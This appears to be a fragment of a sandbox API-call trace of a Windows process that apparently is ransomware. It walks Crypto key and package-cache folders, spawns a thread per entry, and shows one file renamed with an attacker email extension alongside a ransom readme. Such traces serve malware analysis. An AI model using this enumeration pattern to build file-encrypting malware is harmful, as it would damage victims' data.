ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0173.982] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0173.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b330) returned 1 [0173.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4840) returned 1 [0173.983] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88aa8) returned 1 [0173.983] RtlExitUserThread (Status=0x0) Thread: id = 2183 os_tid = 0x1304 [0173.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa48a0 [0173.693] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0173.693] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\" [0173.693] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*" [0173.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c408 [0173.693] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fca0 [0173.694] wcscmp (_String1=".", _String2=".") returned 0 [0173.694] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.694] wcscmp (_String1="..", _String2=".") returned 1 [0173.694] wcscmp (_String1="..", _String2="..") returned 0 [0173.694] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.694] FindClose (in: hFindFile=0x2f7fca0 | out: hFindFile=0x2f7fca0) returned 1 [0173.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c408) returned 1 [0173.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0173.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4480) returned 1 [0173.695] RtlExitUserThread (Status=0x0) Thread: id = 2184 os_tid = 0x1308 [0173.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87f70 [0173.696] wcscpy (in: _Dest=0x2f87f70, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0173.696] wcscat (in: _Dest=0x2f87f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\" [0173.696] wcscat (in: _Dest=0x2f87f70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*" [0173.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c408 [0173.696] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fca0 [0173.697] wcscmp (_String1=".", _String2=".") returned 0 [0173.697] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.697] wcscmp (_String1="..", _String2=".") returned 1 [0173.697] wcscmp (_String1="..", _String2="..") returned 0 [0173.697] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0173.697] wcscmp (_String1="WindowsAIK", _String2=".") returned 1 [0173.697] wcscmp (_String1="WindowsAIK", _String2="..") returned 1 [0173.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013440 [0173.697] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0173.697] wcscat (in: _Dest=0x3013440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\" [0173.697] wcscat (in: _Dest=0x3013440, _Source="WindowsAIK" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" [0173.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3013440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0173.981] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0173.981] FindClose (in: hFindFile=0x2f7fca0 | out: hFindFile=0x2f7fca0) returned 1 [0173.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c408) returned 1 [0173.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87f70) returned 1 [0173.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa49c0) returned 1 [0173.981] RtlExitUserThread (Status=0x0) Thread: id = 2185 os_tid = 0x130c [0173.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0afa8 [0173.698] wcscpy (in: _Dest=0x4f0afa8, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0173.698] wcscat (in: _Dest=0x4f0afa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0173.698] wcscat (in: _Dest=0x4f0afa8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" [0173.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b598 [0173.698] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe60 [0173.698] wcscmp (_String1=".", _String2=".") returned 0 [0173.698] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.698] wcscmp (_String1="..", _String2=".") returned 1 [0173.698] wcscmp (_String1="..", _String2="..") returned 0 [0173.698] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.698] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0173.699] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0173.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc4940 [0173.699] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0173.699] wcscat (in: _Dest=0x2fc4940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0173.699] wcscat (in: _Dest=0x2fc4940, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0173.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc4940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0173.978] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.979] FindClose (in: hFindFile=0x2f7fe60 | out: hFindFile=0x2f7fe60) returned 1 [0173.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b598) returned 1 [0173.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0afa8) returned 1 [0173.979] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30249d0) returned 1 [0173.979] RtlExitUserThread (Status=0x0) Thread: id = 2186 os_tid = 0x1310 [0173.701] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa45a0 [0173.702] wcscpy (in: _Dest=0x2fa45a0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0173.702] wcscat (in: _Dest=0x2fa45a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0173.702] wcscat (in: _Dest=0x2fa45a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*" [0173.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b800 [0173.702] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0173.702] wcscmp (_String1=".", _String2=".") returned 0 [0173.702] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.702] wcscmp (_String1="..", _String2=".") returned 1 [0173.702] wcscmp (_String1="..", _String2="..") returned 0 [0173.702] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0173.702] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0173.702] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0173.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x3057590 [0173.702] wcscpy (in: _Dest=0x3057590, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0173.702] wcscat (in: _Dest=0x3057590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0173.702] wcscat (in: _Dest=0x3057590, _Source="MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0173.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0173.976] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0173.976] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0173.976] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0173.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x3057600 [0173.976] wcscpy (in: _Dest=0x3057600, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0173.976] wcscat (in: _Dest=0x3057600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\" [0173.976] wcscat (in: _Dest=0x3057600, _Source="S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0173.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0173.977] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0173.977] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0173.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b800) returned 1 [0173.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa45a0) returned 1 [0173.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88f78) returned 1 [0173.977] RtlExitUserThread (Status=0x0) Thread: id = 2187 os_tid = 0x1314 [0173.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x3057750 [0173.703] wcscpy (in: _Dest=0x3057750, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0173.703] wcscat (in: _Dest=0x3057750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0173.703] wcscat (in: _Dest=0x3057750, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*" [0173.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ba68 [0173.704] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x86290f6e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fd20 [0173.705] wcscmp (_String1=".", _String2=".") returned 0 [0173.705] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x86290f6e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.706] wcscmp (_String1="..", _String2=".") returned 1 [0173.706] wcscmp (_String1="..", _String2="..") returned 0 [0173.706] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8626ae50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="709228~1.D0E")) returned 1 [0173.706] wcscmp (_String1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.706] wcscmp (_String1="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x2fa4fd8 [0173.706] wcscpy (in: _Dest=0x2fa4fd8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0173.706] wcscat (in: _Dest=0x2fa4fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0173.706] wcscat (in: _Dest=0x2fa4fd8, _Source="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" [0173.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0173.972] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8626ae50, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8626ae50, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8626ae50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0173.972] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0173.973] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0173.973] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, 